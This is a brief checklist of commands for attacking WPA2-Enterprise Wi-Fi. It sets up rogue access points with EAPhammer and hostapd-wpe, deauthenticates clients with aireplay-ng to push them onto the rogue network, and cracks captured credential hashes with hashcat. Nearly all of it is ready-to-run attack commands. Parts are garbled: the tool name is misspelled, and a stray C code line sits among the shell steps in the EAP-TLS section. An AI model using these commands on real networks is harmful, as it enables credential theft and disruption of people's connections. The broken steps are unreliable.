Wi-Fi WPA Enterprise Basic Wireless Pentest Checklist

EAPhammer

https://github.com/s0lst1c3/eaphammer

eaphammer --cert-wizard

Start the rogue AP

eaphammer --interface <interface> --auth wpa-eap --essid <ESSID> --wpa-version 2
sudo aireplay-ng -0 6 -a <BSSID MAC> -c <client MAC> <interface>

HostAPD-wpe

https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/hostapd-wpe

sudo hostaped-wpe -c -k hostapd-wpe.conf
sudo aireplay-ng -0 6 -a <BSSID MAC> -c <client MAC> <interface>

Cracking the hash

hashcat -m 5500 -a 0 <hash> <wordlist>

EAP-TLS

Using HostAPD-WPE

cd /opt/hostapd-2.6 && patch -p1 < ../hostapd-wpe/hostapd-wpe.patch
if (eap_server_tls_ssl_init(sm, &data->ssl, 0, EAP_TYPE_TLS)) {
 cd /opt/hostapd-2.6/hostapd &&  make
sudo hostaped-wpe -c -k hostapd-wpe.conf
sudo aireplay-ng -0 6 -a <BSSID MAC> -c <client MAC> <interface>